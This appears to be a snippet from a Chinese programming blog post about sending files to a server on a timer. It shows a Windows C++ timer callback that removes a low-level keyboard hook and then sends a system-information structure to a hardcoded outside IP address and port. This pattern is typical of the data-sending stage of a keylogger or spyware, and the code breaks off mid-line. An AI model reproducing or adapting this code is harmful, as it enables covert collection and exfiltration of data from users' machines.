VOID CALLBACK TimerProc(HWND hWnd, UINT nMsg, UINT nIDEvent, DWORD dwTime){
//SetHookOff();
UnhookWindowsHookEx(g_hLLKeyboardHook);
char End[7] = {"holmes"};
AfxSocketInit();
char a;
//getSysInfo();
//WSADATA wsaData;
//WSAStartup(MAKEWORD(2, 2), &wsaData);
char check[7] = { "nibiru" };
//CString strIP = {L"121.42.15.225"};
//UINT strPort = {43305};
UINT nPort = atoi("43305");
CString strIP = _T("121.42.15.225") ;
CSocket s;
s.Socket();
s.Connect(strIP,nPort);
/*
SOCKET s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);sockaddr_in sockAddr;
sockAddr.sin_family = PF_INET;
sockAddr.sin_addr.S_un.S_addr = inet_addr("121.42.15.225");
sockAddr.sin_port = htons(43305);*/
//printf("I'm Client\r\n");
//connect(s, (SOCKADDR*)&sockAddr, sizeof(SOCKADDR));
s.Send(check,6); //给客户端发送SysInfo结构体
s.Send((const char *)&SysInfo, sizeof(dSysInfo), 0); //给客户端发送SysInfo结构体
//printf("send Sysinfo successful!\r\n");
//Sleep(10000);
T
C++ 定时发送文件到服务器
最新推荐文章于 2024-03-02 17:28:46 发布